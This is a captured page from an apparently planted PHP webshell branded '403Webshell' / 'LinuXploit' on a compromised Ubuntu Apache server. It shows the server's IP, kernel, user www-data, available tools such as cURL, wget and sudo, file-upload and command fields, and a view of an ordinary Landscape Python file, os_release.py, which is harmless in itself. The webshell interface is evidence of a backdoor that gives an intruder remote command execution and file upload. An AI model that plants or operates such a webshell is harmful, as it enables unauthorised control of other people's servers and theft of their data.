403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.126
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/landscape/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/landscape/lib/os_release.py
"""Get information from os-release."""
import os

OS_RELEASE_FILENAME = "/var/lib/snapd/hostfs/etc/os-release"
OS_RELEASE_FILENAME_FALLBACK = "/etc/os-release"
OS_RELEASE_FILENAME_SECONDARY_FALLBACK = "/usr/lib/os-release"
OS_RELEASE_FILE_KEYS = {
    "NAME": "distributor-id",
    "PRETTY_NAME": "description",
    "VERSION_ID": "release",
    "VERSION_CODENAME": "code-name",
}


def get_os_filename():
    """
    Provide the appropriate file for os release info.
    If a snap, we want the host os so need to use
    /var/lib/snapd/hostfs/etc/os-release, if not a snap
    /etc/os-release will be used as first fallback or
    /usr/lib/os-release as a fallback as indicated in os-release
    at Freedesktop.org
    """

    os_filename = OS_RELEASE_FILENAME

    if not os.path.exists(os_filename) or not os.access(
        os_filename,
        os.R_OK,
    ):
        os_filename = OS_RELEASE_FILENAME_FALLBACK

        if not os.path.exists(os_filename) or not os.access(
            os_filename,
            os.R_OK,
        ):
            os_filename = OS_RELEASE_FILENAME_FALLBACK

    return os_filename


def parse_os_release(os_release_filename=None):
    """
    Returns a C{dict} holding information about the system LSB release
    by attempting to parse C{os_release_filename} if specified. If no
    filename is provided

    @raises: A FileNotFoundError if C{filename} does not exist.
    """
    info = {}

    if os_release_filename is None:
        os_release_filename = get_os_filename()

    with open(os_release_filename) as fd:
        for line in fd:
            key, value = line.split("=")

            if key in OS_RELEASE_FILE_KEYS:
                key = OS_RELEASE_FILE_KEYS[key.strip()]
                value = value.strip().strip('"')
                info[key] = value

    return info

Youez - 2016 - github.com/yon3zu
LinuXploit